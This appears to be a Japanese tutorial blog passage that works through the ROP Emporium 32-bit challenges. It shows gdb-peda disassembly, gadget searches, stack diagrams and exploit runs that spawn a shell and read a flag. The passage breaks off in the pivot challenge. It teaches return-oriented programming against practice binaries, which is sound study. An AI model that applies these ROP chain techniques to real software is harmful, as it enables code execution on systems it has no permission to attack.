+-+-+-+-+-+-+-+ ↑low ............... +-+-+-+-+-+-+-+ callme_one +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ 0x1 +-+-+-+-+-+-+-+ 0x2 +-+-+-+-+-+-+-+ 0x3 +-+-+-+-+-+-+-+ callme_two +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ 0x1 +-+-+-+-+-+-+-+ 0x2 +-+-+-+-+-+-+-+ 0x3 +-+-+-+-+-+-+-+ callme_three +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ 0x1 +-+-+-+-+-+-+-+ 0x2 +-+-+-+-+-+-+-+ 0x3 +-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+ ↓ high
このようなスタックの状態に持っていければ良いのですが,普通のreturn addressを渡してもcallme_oneを呼んだ後に次はcallme_two...という風に綺麗に繋がっていきません.そこで,以下のようなROP gadgetをreturn addressにするとどうでしょうか?
pop esi pop edi pop ebp ret
0x1, 0x2, 0x3をそれぞれpopしてからcallme_twoをret,0x1, 0x2, 0x3をpopしてcallme_threeをret という風に繋げることができます.このような連鎖をROP chainと言います.では,上記のようなROP gadgetを探します.
ROP gadgetを探すツールはいろいろありますが,簡単なものならpedaで十分です.pedaでstartしてからropgadgetコマンドを実行します.
$ gdb callme32 Reading symbols from callme32...(no debugging symbols found)...done. gdb-peda$ start ................................... gdb-peda$ ropgadget ret = 0x8048562 popret = 0x8048579 pop3ret = 0x80488a9 pop4ret = 0x80488a8 pop2ret = 0x80488aa addesp_12 = 0x8048576 addesp_16 = 0x80486a5
pop3retというのが上記のROP gadgetです.
gdb-peda$ x/4i 0x80488a9 0x80488a9 <__libc_csu_init+89>: pop esi 0x80488aa <__libc_csu_init+90>: pop edi 0x80488ab <__libc_csu_init+91>: pop ebp 0x80488ac <__libc_csu_init+92>: ret
これらの情報を元に,exploitを書いていきます.
exploit
$ python callme32-exploit.py [+] Starting local process './callme32': pid 14666 callme by ROP Emporium 32bits Hope you read the instructions... > [*] Process './callme32' stopped with exit code 0 (pid 14666) ROPE{a_placeholder_32byte_flag!}
おまけ
exploitの中に
f = open('input.txt', 'w') f.write(payload) f.close()
と書いて出力されたinput.txtを元に,gdbにて
$ gdb callme32 Reading symbols from callme32...(no debugging symbols found)...done. gdb-peda$ b *0xXXXXXXXX gdb-peda $ run < input.txt
(適当な場所にブレークポイントを仕掛けてから,実際にROPが実行されていく様をステップ実行してみると,より理解が深まるかと思います)
write4
$ file write432 write432: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1bbd4a55b5c333daf5020efbb77b8c38fc0d8601, not stripped $ ./write432 write4 by ROP Emporium 32bits Go ahead and give me the string already! > hoge Exiting
gdbで見てみます.
$ gdb write432 Reading symbols from write432...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x0804864c usefulFunction 0x08048670 usefulGadgets 0x08048680 __libc_csu_init 0x080486e0 __libc_csu_fini 0x080486e4 _fini
usefulGadgetsという関数が追加されています.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804864c <+0>: push ebp 0x0804864d <+1>: mov ebp,esp 0x0804864f <+3>: sub esp,0x8 0x08048652 <+6>: sub esp,0xc 0x08048655 <+9>: push 0x8048754 0x0804865a <+14>: call 0x8048430 <system@plt> 0x0804865f <+19>: add esp,0x10 0x08048662 <+22>: nop 0x08048663 <+23>: leave 0x08048664 <+24>: ret End of assembler dump. gdb-peda$ x/s 0x8048754 0x8048754: "/bin/ls"
usefulFunctionはlsするだけのようです.
usefulGadgets
gdb-peda$ disas usefulGadgets Dump of assembler code for function usefulGadgets: 0x08048670 <+0>: mov DWORD PTR [edi],ebp 0x08048672 <+2>: ret 0x08048673 <+3>: xchg ax,ax 0x08048675 <+5>: xchg ax,ax 0x08048677 <+7>: xchg ax,ax 0x08048679 <+9>: xchg ax,ax 0x0804867b <+11>: xchg ax,ax 0x0804867d <+13>: xchg ax,ax 0x0804867f <+15>: nop End of assembler dump.
どうやら mov DWORD PTR [edi],ebp
というGadgetを使うっぽいです.念のためsplit32の時のように都合のいい文字列が無いかstringsで探してみますが,見つかりません.このGadgetを使って,任意の文字列を格納するしかなさそうです.
このアセンブリは,ediに格納されている値を4バイトのアドレスと見て,そこにebpの値を格納します.ということは,ebpに任意の文字列を渡して,ediにとあるアドレスを格納しておけば,うまくいきそうです.
ediにはどういうアドレスを渡すべきでしょうか?
前提として,書き込み可能な領域でないとダメです.実行ファイル中にどんな領域があるのか調べてみます.
$ readelf -S write432 31 個のセクションヘッダ、始点オフセット 0x196c: セクションヘッダ: [番] 名前 タイプ アドレス Off サイズ ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000030 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481dc 0001dc 0000d0 10 A 6 1 4 [ 6] .dynstr STRTAB 080482ac 0002ac 000081 00 A 0 0 1 [ 7] .gnu.version VERSYM 0804832e 00032e 00001a 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 08048348 000348 000020 00 A 6 1 4 [ 9] .rel.dyn REL 08048368 000368 000020 08 A 5 0 4 [10] .rel.plt REL 08048388 000388 000038 08 AI 5 24 4 [11] .init PROGBITS 080483c0 0003c0 000023 00 AX 0 0 4 [12] .plt PROGBITS 080483f0 0003f0 000080 04 AX 0 0 16 [13] .plt.got PROGBITS 08048470 000470 000008 00 AX 0 0 8 [14] .text PROGBITS 08048480 000480 000262 00 AX 0 0 16 [15] .fini PROGBITS 080486e4 0006e4 000014 00 AX 0 0 4 [16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4 [17] .eh_frame_hdr PROGBITS 0804875c 00075c 00003c 00 A 0 0 4 [18] .eh_frame PROGBITS 08048798 000798 00010c 00 A 0 0 4 [19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 [20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 [21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 [22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 [23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [24] .got.plt PROGBITS 0804a000 001000 000028 04 WA 0 0 4 [25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4 [26] .bss NOBITS 0804a040 001030 00002c 00 WA 0 0 32 [27] .comment PROGBITS 00000000 001030 000034 01 MS 0 0 1 [28] .shstrtab STRTAB 00000000 001861 00010a 00 0 0 1 [29] .symtab SYMTAB 00000000 001064 000510 10 30 50 4 [30] .strtab STRTAB 00000000 001574 0002ed 00 0 0 1 フラグのキー: W (write), A (alloc), X (実行), M (merge), S (文字列) I (情報), L (リンク順), G (グループ), T (TLS), E (排他), x (不明) O (追加の OS 処理が必要) o (OS 固有), p (プロセッサ固有)
Wというフラグが立っている場所が書き込み可能な場所です.あまり影響が出なそうな場所として,今回はbssセクションを使用してみます.bssセクションは初期化していないstaticな変数が格納される領域です.
次に,ROP gadgetを探します.pop edi; pop ebp; ret のようなGadgetを探しますが,これもpedaで十分です.
$ gdb write432 Reading symbols from write432...(no debugging symbols found)...done. gdb-peda$ start .............. gdb-peda$ ropgadget ret = 0x804819d popret = 0x80483e1 pop2ret = 0x80486da pop4ret = 0x80486d8 pop3ret = 0x80486d9 addesp_12 = 0x80483de addesp_16 = 0x80484e5 gdb-peda$ x/3i 0x80486da 0x80486da <__libc_csu_init+90>: pop edi 0x80486db <__libc_csu_init+91>: pop ebp 0x80486dc <__libc_csu_init+92>: ret gdb-peda$
pop2retというGadgetです.
引数の渡し方として,以下のように4バイトずつ渡していきます.2回目に書き込む場所としては,bss address + 4となります.
+-+-+-+-+-+-+-+ ↑low ............... +-+-+-+-+-+-+-+ pop2ret +-+-+-+-+-+-+-+ bss address +-+-+-+-+-+-+-+ "/bin" +-+-+-+-+-+-+-+ mov edi ebp +-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+ ↓ high
exploitは以下のようになります.
exploit
$ python write432-exploit.py [+] Starting local process './write432': pid 17483 write4 by ROP Emporium 32bits Go ahead and give me the string already! > [*] Switching to interactive mode $ $ whoami yyy $ cat flag.txt ROPE{a_placeholder_32byte_flag!}
badchars
$ file badchars32 badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=646a0ec0b6adaad4385d7845987e7001264db871, not stripped $ ./badchars32 badchars by ROP Emporium 32bits badchars are: b i c / <space> f n s > hoge Exiting
gdbで見てみます.
$ gdb badchars32 Reading symbols from badchars32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048440 _init 0x08048480 printf@plt 0x08048490 free@plt 0x080484a0 memcpy@plt 0x080484b0 fgets@plt 0x080484c0 malloc@plt 0x080484d0 puts@plt 0x080484e0 system@plt 0x080484f0 exit@plt 0x08048500 __libc_start_main@plt 0x08048510 setvbuf@plt 0x08048520 memset@plt 0x08048540 _start 0x08048570 __x86.get_pc_thunk.bx 0x08048580 deregister_tm_clones 0x080485b0 register_tm_clones 0x080485f0 __do_global_dtors_aux 0x08048610 frame_dummy 0x0804863b main 0x080486b6 pwnme 0x080487a9 usefulFunction 0x080487c2 nstrlen 0x08048801 checkBadchars 0x08048890 usefulGadgets 0x080488a0 __libc_csu_init 0x08048900 __libc_csu_fini 0x08048904 _fini
nstrlen,checkbadcharsなど見慣れない関数があります.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x080487a9 <+0>: push ebp 0x080487aa <+1>: mov ebp,esp 0x080487ac <+3>: sub esp,0x8 0x080487af <+6>: sub esp,0xc 0x080487b2 <+9>: push 0x8048973 0x080487b7 <+14>: call 0x80484e0 <system@plt> 0x080487bc <+19>: add esp,0x10 0x080487bf <+22>: nop 0x080487c0 <+23>: leave 0x080487c1 <+24>: ret End of assembler dump. gdb-peda$ x/s 0x8048973 0x8048973: "/bin/ls"
またlsするだけの関数のようなので,write4の時と同様に/bin/shを引数にsystemを呼びたいところです.
nstrlen
gdb-peda$ disas nstrlen Dump of assembler code for function nstrlen: 0x080487c2 <+0>: push ebp 0x080487c3 <+1>: mov ebp,esp 0x080487c5 <+3>: sub esp,0x10 0x080487c8 <+6>: mov DWORD PTR [ebp-0x4],0x0 0x080487cf <+13>: mov DWORD PTR [ebp-0x4],0x0 0x080487d6 <+20>: jmp 0x80487f4 <nstrlen+50> 0x080487d8 <+22>: mov edx,DWORD PTR [ebp+0x8] 0x080487db <+25>: mov eax,DWORD PTR [ebp-0x4] 0x080487de <+28>: add eax,edx 0x080487e0 <+30>: movzx eax,BYTE PTR [eax] 0x080487e3 <+33>: cmp al,0xa 0x080487e5 <+35>: jne 0x80487f0 <nstrlen+46> 0x080487e7 <+37>: add DWORD PTR [ebp-0x4],0x1 0x080487eb <+41>: mov eax,DWORD PTR [ebp-0x4] 0x080487ee <+44>: jmp 0x80487ff <nstrlen+61> 0x080487f0 <+46>: add DWORD PTR [ebp-0x4],0x1 0x080487f4 <+50>: mov eax,DWORD PTR [ebp-0x4] 0x080487f7 <+53>: cmp eax,DWORD PTR [ebp+0xc] 0x080487fa <+56>: jb 0x80487d8 <nstrlen+22> 0x080487fc <+58>: mov eax,DWORD PTR [ebp-0x4] 0x080487ff <+61>: leave 0x08048800 <+62>: ret End of assembler dump.
0x80487d8 - 0x080487fa の間をループしていますが,注目すべきは0x080487e3のcmp al, 0xaで,0xaはASCIIコードで改行を表し,改行まで何文字あるかを,[ebp-0x4]の値を更新しながらループしているように見えます.つまり,入力値が何文字か調べる関数のようです.
checkBadchars
gdb-peda$ disas checkBadchars Dump of assembler code for function checkBadchars: 0x08048801 <+0>: push ebp 0x08048802 <+1>: mov ebp,esp 0x08048804 <+3>: sub esp,0x10 0x08048807 <+6>: mov BYTE PTR [ebp-0x10],0x62 0x0804880b <+10>: mov BYTE PTR [ebp-0xf],0x69 0x0804880f <+14>: mov BYTE PTR [ebp-0xe],0x63 0x08048813 <+18>: mov BYTE PTR [ebp-0xd],0x2f 0x08048817 <+22>: mov BYTE PTR [ebp-0xc],0x20 0x0804881b <+26>: mov BYTE PTR [ebp-0xb],0x66 0x0804881f <+30>: mov BYTE PTR [ebp-0xa],0x6e 0x08048823 <+34>: mov BYTE PTR [ebp-0x9],0x73 0x08048827 <+38>: mov DWORD PTR [ebp-0x4],0x0 0x0804882e <+45>: mov DWORD PTR [ebp-0x8],0x0 0x08048835 <+52>: mov DWORD PTR [ebp-0x4],0x0 0x0804883c <+59>: jmp 0x804887c <checkBadchars+123> 0x0804883e <+61>: mov DWORD PTR [ebp-0x8],0x0 0x08048845 <+68>: jmp 0x8048872 <checkBadchars+113> 0x08048847 <+70>: mov edx,DWORD PTR [ebp+0x8] // [ebp+0x8]は入力値 0x0804884a <+73>: mov eax,DWORD PTR [ebp-0x4] 0x0804884d <+76>: add eax,edx 0x0804884f <+78>: movzx edx,BYTE PTR [eax] 0x08048852 <+81>: lea ecx,[ebp-0x10] // [ebp-0x10]はbadcharsが格納された配列の先頭 0x08048855 <+84>: mov eax,DWORD PTR [ebp-0x8] 0x08048858 <+87>: add eax,ecx 0x0804885a <+89>: movzx eax,BYTE PTR [eax] 0x0804885d <+92>: cmp dl,al 0x0804885f <+94>: jne 0x804886e <checkBadchars+109> 0x08048861 <+96>: mov edx,DWORD PTR [ebp+0x8] 0x08048864 <+99>: mov eax,DWORD PTR [ebp-0x4] 0x08048867 <+102>: add eax,edx 0x08048869 <+104>: mov BYTE PTR [eax],0xeb 0x0804886c <+107>: jmp 0x8048878 <checkBadchars+119> 0x0804886e <+109>: add DWORD PTR [ebp-0x8],0x1 0x08048872 <+113>: cmp DWORD PTR [ebp-0x8],0x7 // [ebp-0x8]はbadcharsが格納された配列のindex 0x08048876 <+117>: jbe 0x8048847 <checkBadchars+70> 0x08048878 <+119>: add DWORD PTR [ebp-0x4],0x1 0x0804887c <+123>: mov eax,DWORD PTR [ebp-0x4] // [ebp-0x4]はカウンタ変数 0x0804887f <+126>: cmp eax,DWORD PTR [ebp+0xc] // [ebp+0xc]はnstrlenで求めた入力値の長さ 0x08048882 <+129>: jb 0x804883e <checkBadchars+61> 0x08048884 <+131>: nop 0x08048885 <+132>: leave 0x08048886 <+133>: ret End of assembler dump.
いくつかコメントを書きましたが,全体としては入力値の長さ分ループしています.そして,ループの中でさらに8回ループしていて,badcharsが入力値の中に存在していないかをチェックしています.もしbadcharsがあった場合,それを0xebに置換しています.なお,badcharsというのは "b", "i", "c", "/", "
usefulGadgets
gdb-peda$ disas usefulGadgets Dump of assembler code for function usefulGadgets: 0x08048890 <+0>: xor BYTE PTR [ebx],cl 0x08048892 <+2>: ret 0x08048893 <+3>: mov DWORD PTR [edi],esi 0x08048895 <+5>: ret 0x08048896 <+6>: pop ebx 0x08048897 <+7>: pop ecx 0x08048898 <+8>: ret 0x08048899 <+9>: pop esi 0x0804889a <+10>: pop edi 0x0804889b <+11>: ret 0x0804889c <+12>: xchg ax,ax 0x0804889e <+14>: xchg ax,ax End of assembler dump.
xorがあるので,これを上手く使えば入力値チェックをすり抜けられそうです.
pwnmeがいつもと少し変わっているので見ておきます.
pwnme
gdb-peda$ disas pwnme Dump of assembler code for function pwnme: 0x080486b6 <+0>: push ebp 0x080486b7 <+1>: mov ebp,esp 0x080486b9 <+3>: sub esp,0x38 0x080486bc <+6>: mov DWORD PTR [ebp-0x30],0x0 0x080486c3 <+13>: sub esp,0xc 0x080486c6 <+16>: push 0x200 0x080486cb <+21>: call 0x80484c0 <malloc@plt> 0x080486d0 <+26>: add esp,0x10 0x080486d3 <+29>: mov DWORD PTR [ebp-0x2c],eax 0x080486d6 <+32>: mov eax,DWORD PTR [ebp-0x2c] 0x080486d9 <+35>: test eax,eax 0x080486db <+37>: je 0x80486f5 <pwnme+63> 0x080486dd <+39>: mov eax,DWORD PTR [ebp-0x2c] 0x080486e0 <+42>: sub esp,0x4 0x080486e3 <+45>: push 0x200 0x080486e8 <+50>: push 0x0 0x080486ea <+52>: push eax 0x080486eb <+53>: call 0x8048520 <memset@plt> 0x080486f0 <+58>: add esp,0x10 0x080486f3 <+61>: jmp 0x80486ff <pwnme+73> 0x080486f5 <+63>: sub esp,0xc 0x080486f8 <+66>: push 0x1 0x080486fa <+68>: call 0x80484f0 <exit@plt> 0x080486ff <+73>: sub esp,0x4 0x08048702 <+76>: push 0x20 0x08048704 <+78>: push 0x0 0x08048706 <+80>: lea eax,[ebp-0x30] 0x08048709 <+83>: add eax,0x8 0x0804870c <+86>: push eax 0x0804870d <+87>: call 0x8048520 <memset@plt> 0x08048712 <+92>: add esp,0x10 0x08048715 <+95>: sub esp,0xc 0x08048718 <+98>: push 0x804894c 0x0804871d <+103>: call 0x80484d0 <puts@plt> 0x08048722 <+108>: add esp,0x10 0x08048725 <+111>: sub esp,0xc 0x08048728 <+114>: push 0x8048970 0x0804872d <+119>: call 0x8048480 <printf@plt> 0x08048732 <+124>: add esp,0x10 0x08048735 <+127>: mov edx,DWORD PTR ds:0x804a060 0x0804873b <+133>: mov eax,DWORD PTR [ebp-0x2c] 0x0804873e <+136>: sub esp,0x4 0x08048741 <+139>: push edx 0x08048742 <+140>: push 0x200 0x08048747 <+145>: push eax 0x08048748 <+146>: call 0x80484b0 <fgets@plt> 0x0804874d <+151>: add esp,0x10 0x08048750 <+154>: mov DWORD PTR [ebp-0x2c],eax 0x08048753 <+157>: mov eax,DWORD PTR [ebp-0x2c] 0x08048756 <+160>: sub esp,0x8 0x08048759 <+163>: push 0x200 0x0804875e <+168>: push eax 0x0804875f <+169>: call 0x80487c2 <nstrlen> 0x08048764 <+174>: add esp,0x10 0x08048767 <+177>: mov DWORD PTR [ebp-0x30],eax 0x0804876a <+180>: mov edx,DWORD PTR [ebp-0x30] 0x0804876d <+183>: mov eax,DWORD PTR [ebp-0x2c] 0x08048770 <+186>: sub esp,0x8 0x08048773 <+189>: push edx 0x08048774 <+190>: push eax 0x08048775 <+191>: call 0x8048801 <checkBadchars> 0x0804877a <+196>: add esp,0x10 0x0804877d <+199>: mov edx,DWORD PTR [ebp-0x30] 0x08048780 <+202>: mov eax,DWORD PTR [ebp-0x2c] 0x08048783 <+205>: sub esp,0x4 0x08048786 <+208>: push edx 0x08048787 <+209>: push eax 0x08048788 <+210>: lea eax,[ebp-0x30] 0x0804878b <+213>: add eax,0x8 0x0804878e <+216>: push eax 0x0804878f <+217>: call 0x80484a0 <memcpy@plt> 0x08048794 <+222>: add esp,0x10 0x08048797 <+225>: mov eax,DWORD PTR [ebp-0x2c] 0x0804879a <+228>: sub esp,0xc 0x0804879d <+231>: push eax 0x0804879e <+232>: call 0x8048490 <free@plt> 0x080487a3 <+237>: add esp,0x10 0x080487a6 <+240>: nop 0x080487a7 <+241>: leave 0x080487a8 <+242>: ret End of assembler dump.
少し変わっているといっても,fgetsした後nstrlenで入力値の長さを求めて,その結果を使ってcheckBadcharsにて特定の文字をエスケープしているだけです.
exploitとしては,以下のような方針でいきます.
- /bin/shという文字列の中で,badcharsに含まれるものは事前に適当な値をxorしておく(入力値チェック回避)
- write4で使ったような,任意の文字列を書き込めそうなGadgetを探す
- write4の時と同様のテクニックで任意の文字列を書き込む
- 最後に,usefulGadgetsにあったxorを使って入力値を元の/bin/shに戻す
1は省略し,write4で使った mov DWORD PTR [edi],ebp のようなGadgetがないか探します.
今回はROP gadgetを探すツールを使っていきますが,どれが精度がいいとか正直わからないので,適当なものを選んでください...
自分はこれを使っています. github.com
他にも,rp++を使っている人も多いと思います.
A painter and a black catさんのページのインストール方法を載せておきます. raintrees.net
適当なファイルにリダイレクトしておくと,何度も実行しなくて済むので便利です.
$ ROPgadget --binary badchars32 > ropgadget
mov dword ptrでgrepしてみると,いい感じのGadgetが見つかります.
$ cat ropgadget|grep "mov dword ptr" 0x08048893 : mov dword ptr [edi], esi ; ret 0x08048891 : or eax, ebx ; mov dword ptr [edi], esi ; ret
0x08048893のものを使います.さらに,ediに書き込む先のアドレスを,esiに任意の文字列を渡すために,"pop edi" と "pop esi"が欲しいところです.
ropgadgetから探してみるといい感じのGadgetが見つかります.
$ cat ropgadget|grep "pop esi" |grep "pop edi" .............................................................................................. 0x080488f9 : pop esi ; pop edi ; pop ebp ; ret 0x08048899 : pop esi ; pop edi ; ret
この0x08048899を使えば良かったのですが,僕は解いたときにpeda内でropgadgetコマンドを打って出てきたpop3ret(上記の0x080488f9にあるGadget)を使ってしまったので,下記は0x080488f9のGadgetを使って解いていますが,0x08048899のほうを使ったほうが綺麗に解けるかと思います.
あと,xorする際に必要なGadgetとして, pop ebx ; pop ecx ; ret
のようなものも探しておきます.これは綺麗に1個だけ出てくると思います.
$ cat ropgadget|grep "pop ebx" |grep "pop ecx" 0x08048896 : pop ebx ; pop ecx ; ret
任意の文字列を書き込む先としては,前回のwrite4と同じくreadelfで求めて,bssセクションを書き込み先として使用します.
あとは,頑張ってexploitを書くだけです.
exploit
$ python badchars32-exploit.py [+] Starting local process './badchars32': pid 21188 badchars by ROP Emporium 32bits badchars are: b i c / <space> f n s > [*] Switching to interactive mode $ $ whoami yyy $ cat flag.txt ROPE{a_placeholder_32byte_flag!}
fluff
$ file fluff32 fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2b376a74b4e9897a4220c448d931704a229b8804, not stripped $ ./fluff32 fluff by ROP Emporium 32bits You know changing these strings means I have to rewrite my solutions... > hoge Exiting
gdbで見てみます.
$ gdb fluff32 Reading symbols from fluff32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x0804864c usefulFunction 0x08048670 questionableGadgets 0x080486a0 __libc_csu_init 0x08048700 __libc_csu_fini 0x08048704 _fini
questionableGadgetsという関数が追加されています.
usefulFunctionから見ていきます.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804864c <+0>: push ebp 0x0804864d <+1>: mov ebp,esp 0x0804864f <+3>: sub esp,0x8 0x08048652 <+6>: sub esp,0xc 0x08048655 <+9>: push 0x8048793 0x0804865a <+14>: call 0x8048430 <system@plt> 0x0804865f <+19>: add esp,0x10 0x08048662 <+22>: nop 0x08048663 <+23>: leave 0x08048664 <+24>: ret End of assembler dump. gdb-peda$ x/s 0x8048793 0x8048793: "/bin/ls"
例によって,lsするだけの関数になっているので/bin/shをsystemに渡してシェルを起動させたいところです.
questionableGadgets
gdb-peda$ disas questionableGadgets Dump of assembler code for function questionableGadgets: 0x08048670 <+0>: pop edi 0x08048671 <+1>: xor edx,edx 0x08048673 <+3>: pop esi 0x08048674 <+4>: mov ebp,0xcafebabe 0x08048679 <+9>: ret 0x0804867a <+10>: pop esi 0x0804867b <+11>: xor edx,ebx 0x0804867d <+13>: pop ebp 0x0804867e <+14>: mov edi,0xdeadbabe 0x08048683 <+19>: ret 0x08048684 <+20>: mov edi,0xdeadbeef 0x08048689 <+25>: xchg edx,ecx 0x0804868b <+27>: pop ebp 0x0804868c <+28>: mov edx,0xdefaced0 0x08048691 <+33>: ret 0x08048692 <+34>: pop edi 0x08048693 <+35>: mov DWORD PTR [ecx],edx 0x08048695 <+37>: pop ebp 0x08048696 <+38>: pop ebx 0x08048697 <+39>: xor BYTE PTR [ecx],bl 0x08048699 <+41>: ret 0x0804869a <+42>: xchg ax,ax 0x0804869c <+44>: xchg ax,ax 0x0804869e <+46>: xchg ax,ax End of assembler dump.
いろいろなGadgetsがゴチャゴチャしていてよくわかりません.問題文を読む限り,考え方はwrite4と一緒らしいですが,Gadgetを駆使して頑張らないといけないっぽいです.
注目するべきは mov DWORD PTR [ecx], edx
ですかね.ecxとedxに上手く値を用意できればwrite4の時と同様に任意の文字列を書き込むことができそうです.しかし,この問題の面白いところが, pop ecx
と pop edx
が実行ファイル中に見つかりません.
$ ROPgadget --binary fluff32 > ropgadget $ cat ropgadget |grep "pop ecx" $ cat ropgadget |grep "pop edx"
どうしたらよいでしょうか?もう一度questionableGadgetsを見てみます.よく見ると, xor edx,edx
と xor edx,ebx
と xchg edx,ecx
と pop ebx
の4つの命令があると思います.
この4つの命令を駆使すれば,edxとecxに任意の値を用意することができないでしょうか?
例えば,edxに任意の値を用意するなら
- xor edx edx でedxを初期化
- pop ebx でebxに任意の値を用意
- xor edx ebx で0と任意の値との排他的論理和を取ることで,edxには最終的に任意の値が入る
こんな感じです.ecxに格納するなら,
xchg edx, ecx でedxに入れた任意の値とecxを交換
を4つ目に加えれば完璧です.
一つ注意する点としては mov DWORD PTR [ecx],edx
と ret の間に xor BYTE PTR [ecx],bl
という余計な命令が入っている点です.よって,blレジスタには0を入れるようにして,xorによって値が変わらないようにしておきます.
ROP chainの流れとしては,
- bss addressをecxに用意
- /binをedxに用意
- /binをbss addressに格納
- bss address + 4をecxに用意
- /sh\x00をedxに用意
- /sh\x00をbss address + 4に格納
- call system
のようになります.
exploit
$ python fluff32-exploit.py [+] Starting local process './fluff32': pid 24177 fluff by ROP Emporium 32bits You know changing these strings means I have to rewrite my solutions.. [*] Switching to interactive mode . > $ $ whoami yyy $ cat flag.txt ROPE{a_placeholder_32byte_flag!}
pivot
$ file pivot32 pivot32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7d291f508294412d56bfbc9b8a5a36de5330596, not stripped $ ./pivot32 pivot by ROP Emporium 32bits Call ret2win() from libpivot.so The Old Gods kindly bestow upon you a place to pivot: 0xf7dedf08 Send your second chain now and it will land there > hoge Now kindly send your stack smash > fuga Exiting
今回は入力値を2回受け取るようです.
gdbで見てみます.
$ gdb pivot32 Reading symbols from pivot32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048550 _init 0x08048590 printf@plt 0x080485a0 free@plt 0x080485b0 fgets@plt 0x080485c0 malloc@plt 0x080485d0 puts@plt 0x080485e0 exit@plt 0x080485f0 foothold_function@plt 0x08048600 __libc_start_main@plt 0x08048610 setvbuf@plt 0x08048620 memset@plt 0x08048640 _start 0x08048670 __x86.get_pc_thunk.bx 0x08048680 deregister_tm_clones 0x080486b0 register_tm_clones 0x080486f0 __do_global_dtors_aux 0x08048710 frame_dummy 0x0804873b main 0x080487f2 pwnme 0x080488a1 uselessFunction 0x080488c0 usefulGadgets 0x080488d0 __libc_csu_init 0x08048930 __libc_csu_fini 0x08048934 _fini
pwnmeから見ていきます.
pwnme
gdb-peda$ disas pwnme Dump of assembler code for function pwnme: 0x080487f2 <+0>: push ebp 0x080487f3 <+1>: mov ebp,esp 0x080487f5 <+3>: sub esp,0x28 0x080487f8 <+6>: sub esp,0x4 0x080487fb <+9>: push 0x20 0x080487fd <+11>: push 0x0 0x080487ff <+13>: lea eax,[ebp-0x28] 0x08048802 <+16>: push eax 0x08048803 <+17>: call 0x8048620 <memset@plt> 0x08048808 <+22>: add esp,0x10 0x0804880b <+25>: sub esp,0xc 0x0804880e <+28>: push 0x8048978 0x08048813 <+33>: call 0x80485d0 <puts@plt> 0x08048818 <+38>: add esp,0x10 0x0804881b <+41>: sub esp,0x8 0x0804881e <+44>: push DWORD PTR [ebp+0x8] 0x08048821 <+47>: push 0x8048998 0x08048826 <+52>: call 0x8048590 <printf@plt> 0x0804882b <+57>: add esp,0x10 0x0804882e <+60>: sub esp,0xc 0x08048831 <+63>: push 0x80489d4 0x08048836 <+68>: call 0x80485d0 <puts@plt> 0x0804883b <+73>: add esp,0x10 0x0804883e <+76>: sub esp,0xc 0x08048841 <+79>: push 0x8048a06 0x08048846 <+84>: call 0x8048590 <printf@plt> 0x0804884b <+89>: add esp,0x10 0x0804884e <+92>: mov eax,ds:0x804a060 0x08048853 <+97>: sub esp,0x4 0x08048856 <+100>: push eax 0x08048857 <+101>: push 0x100 0x0804885c <+106>: push DWORD PTR [ebp+0x8] 